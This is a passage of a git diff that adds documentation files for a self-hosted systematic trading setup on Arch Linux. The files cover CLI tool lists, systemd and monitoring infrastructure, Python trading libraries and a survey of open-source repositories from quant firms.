-- port forwarding and socket debugging without ceremony +9. **moreutils** -- `sponge`, `ts`, `chronic`, and `vidir` alone are worth the install +10. **navi** -- your own interactive cheatsheet for the commands you always Google + +Install: `pacman -S entr mise difftastic miller gron sd pv socat moreutils navi` diff --git a/doc/tools.md b/doc/tools.md new file mode 100644 index 0000000000000000000000000000000000000000..19efffc97ae4640bc8ab3a224af4deeb60653c8f --- /dev/null +++ b/doc/tools.md @@ -0,0 +1,67 @@ +# CLI Tools -- the 100x toolkit + +Install everything: `pacman -S eza bat fd ripgrep dust duf procs btop tokei hyperfine fzf zoxide delta git-delta lazygit tig jq` + +## Modern Replacements + +| Old | New | Why | +|-----|-----|-----| +| ls | eza | icons, git status, tree mode | +| cat | bat | syntax highlighting, line numbers, git integration | +| find | fd | 5x faster, sane defaults, regex | +| grep | ripgrep (rg) | 10x faster, respects .gitignore | +| du | dust | visual tree, instant | +| df | duf | colored, grouped by type | +| ps | procs | searchable, tree view, Docker awareness | +| top | btop | GPU, disk, network, mouse | +| wc -l | tokei | per-language LOC stats | +| diff | delta | syntax highlight, line numbers, side-by-side | +| time | hyperfine | statistical benchmarking, warmup, export | + +## Navigation + +| Tool | Purpose | +|------|---------| +| fzf | Fuzzy finder for everything (files, history, git, processes) | +| zoxide | Frecency-based cd (learns your habits) | +| direnv | Auto-load .envrc per directory | + +## Git + +| Tool | Purpose | +|------|---------| +| lazygit | TUI git client (staging, rebasing, cherry-pick, all visual) | +| tig | Git log/diff/blame browser | +| delta | Diff pager with syntax highlighting | +| gh | GitHub CLI (PRs, issues, actions) | + +## Development + +| Tool | Purpose | +|------|---------| +| bear | Generate compile_commands.json from make | +| ccls/clangd | C/C++ language server | +| gdb-dashboard | GDB with TUI dashboard | +| perf | Linux profiler | +| flamegraph | Visualize perf data | +| strace | System call tracing | +| ltrace | Library call tracing | + +## Shell + +| Tool | Purpose | +|------|---------| +| atuin | Shell history in SQLite with sync | +| starship | Cross-shell prompt (fast, informative) | +| tmux | Terminal multiplexer | +| just | Modern make replacement for project commands | + +## Data + +| Tool | Purpose | +|------|---------| +| jq | JSON processor | +| yq | YAML processor | +| xsv | CSV toolkit | +| sqlite3 | Embedded SQL | +| httpie | Friendlier curl | diff --git a/doc/trading/research-cli-tools.md b/doc/trading/research-cli-tools.md new file mode 100644 index 0000000000000000000000000000000000000000..6809ad62048fda19e40caa237d2dd63cadb4c29a --- /dev/null +++ b/doc/trading/research-cli-tools.md @@ -0,0 +1,95 @@ +--- +title: "CLI Tools for Trading on Arch Linux" +date: 2026-05-21 +source: agent research +--- + +# CLI Tools for Trading + +Terminal utilities, shell functions, and command-line tools for a systematic trader on Arch Linux with fish shell. + +## Terminal Stock Tickers and Portfolio Trackers + +| Tool | Language | Stars | Install | What It Does | +|---|---|---|---|---| +| [ticker](https://github.com/achannarasappa/ticker) | Go | 6.1k | `yay -S ticker` | Real-time stock/crypto/derivatives prices with position management and live P&L tracking | +| [tickrs](https://github.com/tarkah/tickrs) | Rust | 1.6k | `yay -S tickrs` | Portfolio tracking with holdings config, vim-style keybindings | +| [stonks](https://github.com/ericm/stonks) | Go | 564 | `yay -S stonks` | ASCII stock graphs in terminal, multi-symbol | +| [cointop](https://github.com/cointop-sh/cointop) | Go | 4.3k | `yay -S cointop` | Interactive crypto tracker (htop-style, vim keybindings) | +| [mop](https://github.com/mop-tracker/mop) | Go | 2.1k | AUR or build | Stock market tracker with expression-based filtering (`price > 100 AND change > 2%`) | + +## Terminal Charting (Candlesticks in Terminal) + +| Tool | Language | Stars | Install | What It Does | +|---|---|---|---|---| +| [tstock](https://github.com/Gbox4/tstock) | Rust | ~400 | `yay -S tstock` | `tstock aapl` gives 3-month candlestick chart. Stocks, crypto, forex auto-detection. | +| [cli-candlestick-chart](https://github.com/Julien-R44/cli-candlestick-chart) | Rust | 309 | `cargo install cli-candlestick-chart` | Candlestick charts from CSV/JSON input, custom colors, Binance API examples | + +## Broker API CLI Tools + +| Tool | Language | What It Does | +|---|---|---| +| [alpaca-cli](https://github.com/alpacahq/cli) | Go | Official Alpaca CLI. Submit orders, pull market data, manage account. OAuth auth. Paper trading default. | +| [ibkr-cli](https://github.com/fatwang2/ibkr-cli) | Python | Local-first CLI for Interactive Brokers via ib_async. Account management, trading, market data, Flex Queries. | + +## Financial Data CLI + +| Tool | Language | Stars | What It Does | +|---|---|---|---| +| [yfinance](https://github.com/ranaroussi/yfinance) | Python | 13k+ | Download market data from Yahoo Finance, no API key. Prototyping only. | +| [tiingo-python](https://github.com/hydrosquall/tiingo-python) | Python | 200+ | Python client for Tiingo (stock tickers, news, real-time data). Better quality than yfinance. | +| [polygon-python](https://github.com/pssolanki111/polygon) | Python | 400+ | Complete Polygon.io wrapper (stocks, options, streaming, forex, crypto). Paid API key. | +| [cryptofeed](https://github.com/bmoscon/cryptofeed) | Python | 2k+ | Crypto exchange websocket feed handler. 30+ exchanges, normalized feeds, multiple backends (Redis, Postgres, etc.). | + +## Accounting and Tax + +| Tool | Language | Stars | What It Does | +|---|---|---|---| +| [Beancount](https://github.com/beancount/beancount) + [Fava](https://github.com/beancount/fava) | Python | 2.5k + 1.2k | Plain-text double-entry accounting with cost basis tracking and capital gains. Fava provides web UI. Superior for crypto lot-tracking. | +| [hledger](https://github.com/simonmichael/hledger) | Haskell | 2.8k | `pacman -S hledger`. Plain-text accounting, converts to/from Beancount. | + +## Dashboard + +| Tool | Language | Stars | What It Does | +|---|---|---|---| +| [wtfutil](https://github.com/wtfutil/wtf) | Go | 15k+ | Personal terminal dashboard with Yahoo Finance module, Finnhub stocks, Git, GitHub, and 50+ other modules. YAML config. | + +## Fish Shell Functions + +No pre-existing collection exists. Build these in `~/.config/fish/functions/`: + +```fish +# Quick price check (requires ticker) +function price + ticker -c $argv +end + +# Crypto prices +function crypto + cointop +end + +# Quick chart (requires tstock) +function chart + tstock $argv +end + +# Market screener +function screen + mop +end + +# Beancount trade log +function trade-log + bean-query ~/trading/accounts.beancount "SELECT date, narration, cost, price WHERE meta_type='trade'" +end +``` + +## Recommended Workflow + +1. **Real-time monitoring**: `ticker` (stocks) + `cointop` (crypto) in tmux panes +2. **Technical analysis**: `tstock aapl` for quick charts before entry +3. **Order placement**: `alpaca-cli` (Alpaca) or `ibkr-cli` (Interactive Brokers) +4. **Data backfill**: `yfinance` (free) or `tiingo-python` (better data) +5. **Accounting**: Beancount + Fava for post-trade reconciliation and tax tracking +6. **Dashboard**: `wtfutil` config with yfinance module for all-in-one monitoring diff --git a/doc/trading/research-infrastructure.md b/doc/trading/research-infrastructure.md new file mode 100644 index 0000000000000000000000000000000000000000..2bbaed01b16ca6d9a1d799bcaf322abbb8067506 --- /dev/null +++ b/doc/trading/research-infrastructure.md @@ -0,0 +1,341 @@ +--- +title: "Trading Infrastructure Patterns for STARGATE" +date: 2026-05-21 +source: agent research +--- + +# Trading Infrastructure for STARGATE + +Production-ready patterns for running systematic trading on Arch Linux with systemd, TimescaleDB, Grafana, and Prometheus. + +## 1. systemd Unit Files for Trading Bots + +### Core Pattern + +```ini +# /etc/systemd/system/trading-strategy@.service +[Unit] +Description=Trading strategy %i +After=network-online.target postgresql.service +Wants=network-online.target + +[Service] +Type=notify +ExecStart=/opt/trading/venv/bin/python /opt/trading/strategies/%i/main.py +WorkingDirectory=/opt/trading/strategies/%i +Restart=always +RestartSec=5 +WatchdogSec=60 + +# Resource limits +MemoryMax=4G +CPUQuota=200% +TasksMax=100 + +# Logging +StandardOutput=journal +StandardError=journal +SyslogIdentifier=trading-%i + +# Security +User=trading +NoNewPrivileges=true +ProtectSystem=strict +ReadWritePaths=/opt/trading/data /var/lib/postgresql + +[Install] +WantedBy=multi-user.target +``` + +### Key Features +- **sd_notify watchdog**: Bot sends keepalive pings; systemd auto-restarts if pings stop +- **Resource limits**: `MemoryMax` (hard cap, triggers OOM killer), `CPUQuota`, `TasksMax` +- **Template units**: `trading-strategy@momentum-futures.service`, `trading-strategy@pairs-equities.service` +- **Logging**: `--logfile journald` sends to systemd journal; query with `journalctl -f -u trading-strategy@*` + +### Reference +- [Freqtrade Advanced Setup (systemd)](https://www.freqtrade.io/en/stable/advanced-setup/) -- production-grade patterns with sd_notify +- [systemd Resource Limits](https://blog.theravenhub.com/post/ht-limit-service-ressources-systemd) + +## 2. Grafana Dashboards for Trading + +### Available Templates +- [Freqtrade Dashboard](https://grafana.com/grafana/dashboards/14915-freqtrade/) -- equity curve, underwater plot, win/loss ratio, multi-strategy comparison +- [Trade Dashboard](https://grafana.com/grafana/dashboards/18100-new-trade-dashboard/) -- MySQL/Prometheus datasource +- [Stock Portfolio](https://grafana.com/grafana/dashboards/15956-stock-portfolio/) -- community template + +### Key Panels to Build +- Equity curve (line chart, most critical) +- Maximum drawdown (underwater plot with annotations) +- Monthly/daily returns (heatmap) +- P&L by symbol (bar chart) +- Win rate, trade count (stat panels) +- Sharpe, Sortino (stat panels, rolling window) +- Strategy health: API latency, data freshness, error rate (gauge panels) + +### TimescaleDB Integration +Grafana's native PostgreSQL plugin queries continuous aggregates: +```sql +SELECT time_bucket('1 day', time) AS day, + FIRST(open), MAX(high), MIN(low), LAST(close), SUM(volume) +FROM trades GROUP BY day; +``` + +## 3. Prometheus Exporters + +No pre-built trading-specific exporters exist. Standard approach is custom Python exporter: + +```python +from prometheus_client import CollectorRegistry, Gauge, start_http_server + +registry = CollectorRegistry() +equity = Gauge('trading_equity', 'Account equity', registry=registry) +trades_open = Gauge('trading_open_trades', 'Num open trades', registry=registry) +drawdown = Gauge('trading_drawdown_pct', 'Current drawdown %', registry=registry) + +# In your bot loop: +equity.set(account_balance) +trades_open.set(len(open_positions)) +drawdown.set(current_drawdown) + +start_http_server(9090, registry=registry) +``` + +### Reference +- [Freqtrade Dashboard exporter](https://github.com/thraizz/freqtrade-dashboard) -- scrapes Freqtrade REST API, emits Prometheus metrics +- [Prometheus Exporters Guide](https://betterstack.com/community/guides/monitoring/prometheus-exporter/) + +## 4. TimescaleDB for Financial Tick Data + +### Setup + +**Hypertables** (auto-partitioned by time): +```sql +CREATE TABLE ticks ( + time TIMESTAMPTZ NOT NULL, + symbol TEXT NOT NULL, + price DOUBLE PRECISION, + volume BIGINT +); +SELECT create_hypertable('ticks', 'time'); +``` + +**Continuous Aggregates** for fast OHLCV: +```sql +CREATE MATERIALIZED VIEW ohlcv_1h WITH (timescaledb.continuous) AS +SELECT + time_bucket('1 hour', time) AS bucket, + symbol, + FIRST(price, time) AS open, + MAX(price) AS high, + MIN(price) AS low, + LAST(price, time) AS close, + SUM(volume) AS volume +FROM ticks +GROUP BY bucket, symbol; +``` + +**Performance**: batch insert 1000+ ticks per transaction. ~100K ticks/sec achievable. + +**Storage estimate**: At ~100 bytes/tick, 10 years of 10,000 symbols = ~36.5GB. Well within STARGATE's 916GB. + +### Reference +- [TimescaleDB Financial Tick Data Tutorial](https://docs.timescale.com/tutorials/latest/financial-tick-data/) + +## 5. Backup Strategies + +### Three-Tier Approach + +**1. pg_probackup** ([postgrespro/pg_probackup](https://github.com/postgrespro/pg_probackup)): +- Incremental modes: DELTA (reads all pages), PAGE (scans WAL), PTRACK (fastest) +- Parallel backup, compression, point-in-time recovery +- Supports PG 13-18 + +```bash +pg_probackup init -B /mnt/storage/backups/pg_probackup +pg_probackup backup -B /mnt/storage/backups/pg_probackup -b DELTA -d trading_db +``` + +**2. WAL Archiving**: +``` +archive_mode = on +archive_command = 'pg_probackup archive-push ... %p' +archive_timeout = 300 # flush every 5 min +``` + +**3. S3 Sync**: +```bash +rclone sync /mnt/storage/backups/pg_probackup hetzner-s3:trading-backups/ --transfers 4 +``` + +### systemd Timer for Backups + +```ini +# /etc/systemd/system/trading-backup.timer +[Unit] +Description=Daily trading database backup + +[Timer] +OnCalendar=*-*-* 03:00:00 +Persistent=true + +[Install] +WantedBy=timers.target +``` + +## 6. Monitoring and Alerting + +### Prometheus Alert Rules + +```yaml +groups: + - name: trading + rules: + - alert: StrategyNoTrades + expr: rate(trading_trades_total[1h]) == 0 + for: 2h + annotations: + summary: "Strategy {{ $labels.strategy }} not trading for 2h" + + - alert: MaxDrawdown + expr: trading_drawdown_pct > 15 + for: 5m + annotations: + summary: "Drawdown {{ $value }}% > threshold" + + - alert: DataFeedStale + expr: time() - trading_last_tick_timestamp > 300 + for: 1m + annotations: + summary: "Data feed stale for {{ $labels.symbol }}" + + - alert: BrokerDisconnected + expr: trading_broker_connected == 0 + for: 2m + annotations: + summary: "Broker {{ $labels.broker }} disconnected" +``` + +## 7. Log Aggregation (Audit Trail) + +### Stack: Loki + Promtail + +```bash +sudo pacman -S loki promtail +# Promtail scrapes journald for trading-* units +systemctl start loki promtail +``` + +### Structured Logging in Python + +```python +import structlog + +structlog.configure(processors=[structlog.processors.JSONRenderer()]) +logger = structlog.get_logger() + +logger.info("trade_executed", + symbol="BTCUSD", + side="buy", + price=42000, + volume=1.5, + order_id="ord_123", + strategy="mean_reversion") +``` + +### Dual Write +Each trade written to both: +- PostgreSQL audit table (queryable, compliant) +- JSON log file (searchable via Loki) + +## 8. Market Data Ingestion Timers + +### systemd Timer (Preferred Over Cron) + +```ini +# /etc/systemd/system/trading-ingest@.timer +[Unit] +Description=Market data ingestion for %i + +[Timer] +OnBootSec=2min +OnUnitActiveSec=1min +Persistent=true + +[Install] +WantedBy=timers.target +``` + +```ini +# /etc/systemd/system/trading-ingest@.service +[Unit] +Description=Ingest market data for %i +After=network-online.target + +[Service] +Type=oneshot +ExecStart=/opt/trading/venv/bin/python /opt/trading/scripts/ingest.py --symbol %i --interval 1m +StandardOutput=journal +StandardError=journal +``` + +Enable per-symbol: `systemctl enable trading-ingest@AAPL.timer` + +## 9. Reconciliation + +No major open-source OMS exists. Build bespoke: + +```python +def reconcile_positions(): + internal = query_trades_today() # From your DB + broker = get_broker_positions() # Via API + + mismatches = [] + for symbol in set(internal.keys() | broker.keys()): + if internal.get(symbol, 0) != broker.get(symbol, 0): + mismatches.append({ + 'symbol': symbol, + 'internal': internal[symbol], + 'broker': broker[symbol], + }) + + if mismatches: + alert("reconciliation_failed", mismatches=mismatches) +``` + +Run via systemd timer at market close: `OnCalendar=*-*-* 16:05:00` + +## 10. Open-Source Trading Infrastructure Repos + +| Repo | Stars | What It Does | Fit for STARGATE | +|---|---|---|---| +| [MBATS](https://github.com/saeed349/Microservices-Based-Algorithmic-Trading-System) | Low | Docker-compose: Backtrader + MLflow + Airflow + Postgres + Superset + Jupyter + Minio | Extract patterns; too Docker-heavy for bare-metal. | +| [trading-data](https://github.com/lokhiufung/trading-data) | Low | Multi-source tick ingestion (Binance, Bybit, Yahoo, IBKR) -> CSV/TimescaleDB | Good reference for multi-source ingest scripts. | +| [freqtrade-dashboard](https://github.com/thraizz/freqtrade-dashboard) | Low | Prometheus exporter for Freqtrade REST API | Template for custom exporter. | +| [freqtrade](https://github.com/freqtrade/freqtrade) | 30k+ | Complete crypto bot framework with systemd service files, Prometheus export | Production-ready patterns. Crypto-focused. | + +## Architecture Synthesis + +``` +trading-strategy@SYMBOL.service + |-- Strategy instance (systemd + sd_notify watchdog) + |-- Logs -> journald -> Promtail -> Loki + |-- Metrics -> custom Prometheus exporter (:9090) + |-- Trades -> PostgreSQL/TimescaleDB + |-- Orders -> Audit trail (JSON logs + DB) + +trading-ingest@SYMBOL.timer + |-- Fetches ticks -> TimescaleDB (1-min intervals) + +Monitoring (once per server): + |-- Prometheus (scrapes exporters) + |-- Grafana (queries Prometheus + PostgreSQL) + |-- Loki (aggregates journald logs) + |-- AlertManager (routes to ntfy + email) + |-- pg_probackup timer (daily backup to /mnt/storage) + +/mnt/storage/ + |-- backups/pg_probackup/ (incremental DELTA backups) + |-- trading-logs/ (JSON audit trails) + |-- tick-archive/ (Parquet exports for cold storage) +``` diff --git a/doc/trading/research-python-tools.md b/doc/trading/research-python-tools.md new file mode 100644 index 0000000000000000000000000000000000000000..8039a97efa13352478d32ec69dc7b35dc5f57425 --- /dev/null +++ b/doc/trading/research-python-tools.md @@ -0,0 +1,107 @@ +--- +title: "Python Tools for Solo Systematic Trading" +date: 2026-05-21 +source: agent research +--- + +# Python Tools for Solo Systematic Trading + +Scripts, utilities, and libraries for day-to-day systematic trading on Python 3.12+ with VectorBT + NautilusTrader as core stack. + +## 1. Market Data Warehousing + +| Tool | Stars | What It Does | Fit | +|---|---|---|---| +| [yfinance](https://github.com/ranaroussi/yfinance) | 15k | Download OHLCV bars from Yahoo Finance. Free, no API key. Rate-limited 2k req/day. | Prototyping. Not for production backtests (survivorship-biased). | +| [pandas-datareader](https://github.com/pydata/pandas-datareader) | 2.7k | Unified interface to Yahoo, Federal Reserve, NASDAQ, Quandl, Alpha Vantage, Eurostat. | Macro/economic data alongside market data. | +| [alpha_vantage](https://github.com/RomelTorres/alpha_vantage) | 4.2k | Wrapper around Alpha Vantage API. OHLCV, intraday (1-min), FX, crypto, options. | Backup when yfinance rate-limits. Supports 1-min bars. | +| DuckDB + Parquet | N/A | Store in Parquet (columnar, compressed), query with DuckDB (embedded, no server). Scan terabytes in seconds. | Zero-ops warehouse. Pairs with yfinance -> Parquet -> DuckDB. | +| TimescaleDB | N/A | Postgres extension. Continuous aggregates auto-materialize OHLC candles from ticks. | Live tick data on STARGATE. Multi-threaded, crash-safe. | + +**Reference**: [Personal Market Database with DuckDB and Parquet](https://medium.com/data-science-collective/how-i-built-a-personal-market-database-with-duckdb-and-parquet-step-by-step-27b0d1bb7e2e) + +## 2. Portfolio Analytics and Tearsheets + +| Tool | Stars | What It Does | Fit | +|---|---|---|---| +| [quantstats](https://github.com/ranaroussi/quantstats) | 5.2k | 50+ metrics: Sharpe, Sortino, Calmar, max drawdown, VaR, CVaR, ulcer index. Interactive HTML tearsheets. | Industry standard. Run daily on live equity curve. | +| [pyfolio](https://github.com/quantopian/pyfolio) | 5.5k | Tear sheets, return analysis, risk metrics, factor attribution. Originally from Quantopian. | Good for factor analysis; more academic than quantstats. | +| [PyPortfolioOpt](https://github.com/rong002/PyPortfolioOpt) | 7k | Modern portfolio theory, efficient frontier, Kelly optimization, risk budgeting. | Use `.kelly_objective()` for position sizing. | + +## 3. Order Execution / Broker Wrappers + +| Tool | Stars | What It Does | Fit | +|---|---|---|---| +| [ib_async](https://github.com/ib-api-reloaded/ib_async) | 1.5k | Async/await wrapper around IBKR TWS/Gateway. Full API: orders, positions, market data, account balance. | Production-ready. Handles partial fills, rejections. Successor to ib_insync. | +| [alpaca-py](https://github.com/alpacahq/alpaca-py) | 2.8k | Official Alpaca SDK. Market data (5000+ stocks, 20+ crypto), paper/live trading, options, positions. | Paper trading is free. Asset-specific clients. | +| [coinbase-advanced-py](https://github.com/coinbase/coinbase-advanced-py) | 500+ | Official Coinbase Advanced API wrapper. Order execution, market data, portfolio management. | Maintained by Coinbase. | +| public.com | N/A | No major Python wrapper found. Implement via REST API directly (`httpx`). | Roll your own. | + +## 4. Risk Management and Position Sizing + +**Kelly Criterion**: Use PyPortfolioOpt's `.kelly_objective()` or manual: +```python +kelly_pct = (win_rate * reward_ratio - loss_rate) / reward_ratio +# Use 10-25% of full Kelly in practice +``` + +**Position sizing methods**: +- Fixed size (same contracts/shares per trade) +- Percent allocation (% of capital) +- Fixed fractional risk (% of capital per trade x risk ratio) +- Volatility-targeted (Rob Carver's approach via `cvxpy`) + +**Correlation monitoring**: [franklinjtan/Portfolio-Diversification-Correlation-Risk-Management](https://github.com/franklinjtan/Portfolio-Diversification-Correlation-Risk-Management-with-Python) -- correlation matrices, heatmaps, beta calculations. Run weekly for pairs/stat arb. + +## 5. Alerts and Notifications + +| Tool | Stars | What It Does | +|---|---|---| +| [TradingView Webhook Bot](https://github.com/fabston/TradingView-Webhook-Bot) | 2.5k | Listen to TradingView alerts via Flask webhooks; forward to Telegram, Discord, Slack, email. Self-hosted. | +| `python-telegram-bot` + `schedule` | N/A | Monitor price thresholds, drawdown levels, position breach alerts via API polling -> Telegram. | + +## 6. Technical Analysis Indicators + +| Tool | Stars | What It Does | +|---|---|---| +| [pandas-ta](https://github.com/0xAVX/pandas-ta) | 5.5k | 150+ indicators as pandas DataFrame extensions. `df.ta.rsi()`, `df.ta.macd()`. Vectorized, fast. | +| [alphalens](https://github.com/quantopian/alphalens) | 3k | Forward-looking factor analysis. Decay curves, holding period analysis, correlation with returns. | +| TA-Lib (C backend) | N/A | 34 core indicators, faster than pandas-ta for large backtests. Overkill for most use cases. | + +## 7. Jupyter Notebook Templates + +| Source | What It Provides | +|---|---| +| [QuantConnect/Research](https://github.com/QuantConnect/Research) | 30+ templates: pairs trading with cointegration, Kalman filtering, fundamental factor analysis, Alphalens integration. | +| [walk-forward-backtester](https://github.com/TonyMa1/walk-forward-backtester) | Rolling window optimization with Bayesian optimization. Essential for overfitting prevention. | + +## 8. Mercury Bank API + +| Tool | What It Does | +|---|---| +| [mercury-bank-api](https://pypi.org/project/mercury-bank-api/) (PyPI) | Python client for Mercury API. Account queries, ACH transfers, transaction history. | +| [Mercury API docs](https://docs.mercury.com/docs/welcome) | Direct REST with Bearer token. Script with `httpx`. | +| [mcp-mercury-banking](https://github.com/jbdamask/mcp-mercury-banking) | MCP server for Mercury (LLM-friendly read-only queries). | + +**Cash flow pattern**: Mercury Treasury (4-5% APY on idle cash) -> programmatic ACH to broker when buying power needed -> ACH back when flat. + +## 9. Backtesting Frameworks (Quick Reference) + +| Tool | Stars | Best For | +|---|---|---| +| [VectorBT](https://github.com/polakowo/vectorbt) | 4.5k | Fastest for parameter sweeps. Numba-accelerated. | +| [backtesting.py](https://github.com/kernc/backtesting.py) | 5.2k | Clean Pythonic API, easy learning curve. | +| [Zipline-Reloaded](https://github.com/stefan-jansen/zipline-reloaded) | 2.8k | Best for equity factor research. | +| [NautilusTrader](https://github.com/nautechsystems/nautilus_trader) | 1.8k | Production-grade Rust core. Research -> live bridge. | + +## Stack Summary + +``` +Data flow: yfinance -> DuckDB/Parquet -> VectorBT backtest +Research: Jupyter + QuantConnect templates (pairs, factor analysis) +Live: NautilusTrader executes; ib_async (IBKR) or alpaca-py (paper) for orders +Monitoring: quantstats daily tearsheets + drawdown alerts (Telegram) +Cash flow: mercury-bank-api automates yield sweeps +Reconciliation: Compare NautilusTrader fills vs. broker API fills via SQLite OMS +Indicators: pandas-ta (150+ indicators as DataFrame extensions) +``` diff --git a/doc/trading/research-quant-oss.md b/doc/trading/research-quant-oss.md new file mode 100644 index 0000000000000000000000000000000000000000..ae2495f5dc11f3045a51de7fc409e14ffac01674 --- /dev/null +++ b/doc/trading/research-quant-oss.md @@ -0,0 +1,112 @@ +--- +title: "Open-Source Repos from Quant Funds and Banks" +date: 2026-05-21 +source: agent research +--- + +# Open-Source from Quant Funds and Banks + +106 repositories cataloged across 9 major firms. Sorted by practical utility for a solo systematic trader running VectorBT + NautilusTrader + TimescaleDB. + +## Tier 1: Immediately Useful + +| Repo | Stars | Language | License | What It Does | +|---|---|---|---|---| +| [man-group/ArcticDB](https://github.com/man-group/ArcticDB) | 2,320 | C++/Python | BSL (free non-commercial) | Serverless time-series database. Billions of rows in S3. Pandas in, pandas out. Bloomberg licensed this. | +| [man-group/dtale](https://github.com/man-group/dtale) | 5,144 | Python | Apache 2.0 | Interactive pandas DataFrame explorer in browser. One line of code. Filters, correlations, charts. | +| [goldmansachs/gs-quant](https://github.com/goldmansachs/gs-quant) | 10,358 | Python | Apache 2.0 | Quantitative finance toolkit. Market data, risk models, analytics. Most complete firm-backed trading library. | +| [man-group/notebooker](https://github.com/man-group/notebooker) | 900 | Python | Apache 2.0 | Turns Jupyter into scheduled reporting engine. Daily analytics runs. | +| [deshaw/pyflyby](https://github.com/deshaw/pyflyby) | 409 | Python | BSD | Auto-import for IPython/Jupyter. Saves hours across 50 notebooks/day. | + +## Tier 2: Useful for Specific Workflows + +| Repo | Stars | Language | License | What It Does | When to Use | +|---|---|---|---|---|---| +| [man-group/PyBloqs](https://github.com/man-group/PyBloqs) | 183 | Python | Apache 2.0 | HTML reports from Python. Tables, charts, layout in blocks. | Generating tearsheets/reports for review. | +| [deshaw/versioned-hdf5](https://github.com/deshaw/versioned-hdf5) | 89 | Python | BSD | Version control for HDF5 files (git for scientific data). | Rolling back to "yesterday's version" of a dataset. | +| [deshaw/nbstripout-fast](https://github.com/deshaw/nbstripout-fast) | 29 | Rust | BSD | Strips outputs from Jupyter notebooks before git commits. Fast. | Git hygiene for research notebooks. | +| [optiver/timestamp9](https://github.com/optiver/timestamp9) | 65 | Python | Apache 2.0 | Nanosecond timestamps for Python. | When tick data needs sub-millisecond precision. | +| [optiver/optiver-asyncpg](https://github.com/optiver/optiver-asyncpg) | N/A | Python | Apache 2.0 | Production fork of asyncpg (fast Postgres client for asyncio). | Writing ticks at latencies psycopg2 can't reach. | +| [yli188/WorldQuant_alpha101_code](https://github.com/yli188/WorldQuant_alpha101_code) | 748 | Python | MIT | Community implementation of all 101 alpha formulas from WorldQuant's "101 Formulaic Alphas" paper. | Factor research starting point. | + +## Tier 3: Interesting but Not Directly Actionable + +### Two Sigma + +| Repo | Stars | Language | What It Does | Why Not Now | +|---|---|---|---|---| +| [twosigma/beakerx](https://github.com/twosigma/beakerx) | 2,800 | Java/Python | Multi-language Jupyter (Python, Scala, Groovy, Kotlin, Clojure, Java). | Standard Jupyter suffices. | +| [twosigma/flint](https://github.com/twosigma/flint) | 1,000 | Scala | Time-series joins on Apache Spark with temporal tolerance. | Overkill; DuckDB handles your scale. | +| [twosigma/cook](https://github.com/twosigma/cook) | 338 | Clojure | Batch job scheduler on Mesos/Kubernetes. | systemd is fine at single-server scale. | +| [twosigma/marbles](https://github.com/twosigma/marbles) | 116 | Python | Unit tests that explain failures in plain English. | Nice-to-have, not critical path. | +| [twosigma/frost](https://github.com/twosigma/frost) | N/A | SystemVerilog | FPGA RISC-V core. | FPGA hardware design; not relevant to retail. | + +### Jane Street (OCaml Ecosystem) + +| Repo | Stars | What It Does | Why Not Now | +|---|---|---|---| +| [janestreet/core](https://github.com/janestreet/core) | 1,200 | Alternative OCaml standard library. | OCaml-only. Not useful for Python stack. | +| [janestreet/magic-trace](https://github.com/janestreet/magic-trace) | 5,300 | High-resolution process tracer via Intel Processor Trace. | Useful if you ever profile at CPU-instruction level. | +| [janestreet/async](https://github.com/janestreet/async) | 233 | Cooperative concurrency in OCaml. | OCaml-only. | +| [janestreet/hardcaml](https://github.com/janestreet/hardcaml) | 1,000 | OCaml library for hardware design (FPGA, ASIC). | FPGA design; academic interest only. | + +### Hudson River Trading + +| Repo | Stars | What It Does | Why Not Now | +|---|---|---|---| +| [hudson-trading/corral](https://github.com/hudson-trading/corral) | 175 | Structured concurrency for C++20. | C++ infrastructure; not relevant to Python stack. | +| [hudson-trading/slang-server](https://github.com/hudson-trading/slang-server) | 224 | SystemVerilog language server. | FPGA tooling. | +| [hudson-trading/heracles-ql](https://github.com/hudson-trading/heracles-ql) | 27 | Python DSL for alerts. | Too small; custom Prometheus alerts are better. | + +### D.E. Shaw + +| Repo | Stars | What It Does | Why Not Now | +|---|---|---|---| +| [deshaw/pjrmi](https://github.com/deshaw/pjrmi) | 47 | RPC between Python and Java. | No Java in your stack. | + +## Banks + +### Goldman Sachs +- [goldmansachs/gs-quant](https://github.com/goldmansachs/gs-quant) (10,358 stars) -- **Tier 1**. Full quantitative finance toolkit. + +### JPMorgan Chase +- [jpmorganchase/python-training](https://github.com/jpmorganchase/python-training) (4,000 stars) -- Internal Python training materials. Reveals how a bank teaches quant Python. +- [jpmorganchase/quorum](https://github.com/jpmorganchase/quorum) -- Enterprise Ethereum fork. Blockchain-focused. + +### Morgan Stanley +- No significant public repositories for trading. + +## The Silent Ones (Zero Public Repos) + +| Firm | AUM | Status | +|---|---|---| +| Renaissance Technologies | ~$130B | Zero. NDAs prevent even detailed resumes. | +| Citadel / Citadel Securities | ~$65B | No official GitHub account. | +| Bridgewater Associates | ~$100B | Zero. | +| Millennium Management | ~$70B | Zero. | +| Point72 / Cubist Systems | ~$35B | Zero. | +| AQR Capital | ~$99B | Has an account; contains only a pandas fork. Effectively nothing. | + +## Recommended Stack from Fund OSS + +``` +Data Storage: ArcticDB (serverless, Man Group, optimized for time-series) +Data Exploration: dtale (Man Group, interactive DataFrames) +Analytics: gs-quant (Goldman Sachs, risk models + market data) +Reporting: notebooker (Man Group, scheduled Jupyter reports) +Factor Research: WorldQuant alpha101 (community, 101 formulaic alphas) +Jupyter DX: pyflyby (D.E. Shaw, auto-imports) +Git Hygiene: nbstripout-fast (D.E. Shaw, Rust, fast notebook stripping) +``` + +## Why Some Firms Share and Others Don't + +Three patterns: + +1. **Recruiting brand** (Two Sigma, D.E. Shaw, Jane Street, HRT): Public code attracts PhDs. magic-trace's 5,300 stars = every infrastructure engineer now knows where to send a CV. + +2. **Marketing after IP is already licensed** (Man Group): Bloomberg already paid for ArcticDB. The rest is marketing for a publicly listed company. + +3. **Any public code = hint to competitors** (Renaissance, Citadel, Bridgewater): Renaissance doesn't even allow former employees to write detailed resumes about their work. + +**For solo traders**: The "recruiting brand" firms produce the most useful tools because they're designed to be general-purpose infrastructure, not alpha-generating code. Alpha stays private everywhere. diff --git a/doc/trading/system.md b/doc/trading/system.md new file mode 100644 index 0000000000000000000000000000000000000000..89de825ba4d8f175d9e123796289b81451cb602d --- /dev/null +++ b/doc/trading/system.md @@ -0,0 +1,348 @@ +--- +title: "Trading System Architecture" +date: 2026-05-21 +status: living-document +--- + +# Trading System + +A private, AI-assisted systematic trading operation run by one person with a mathematics background. Everything is self-hosted on Arch Linux. The system is designed to scale from $5k seed capital to $500k+ without changing architecture, only adding capacity. + +## 1. Hardware + +### moirai (Research Station) + +| Component | Spec | Role | +|---|---|---| +| CPU | Intel Core Ultra 7 265K (Arrow 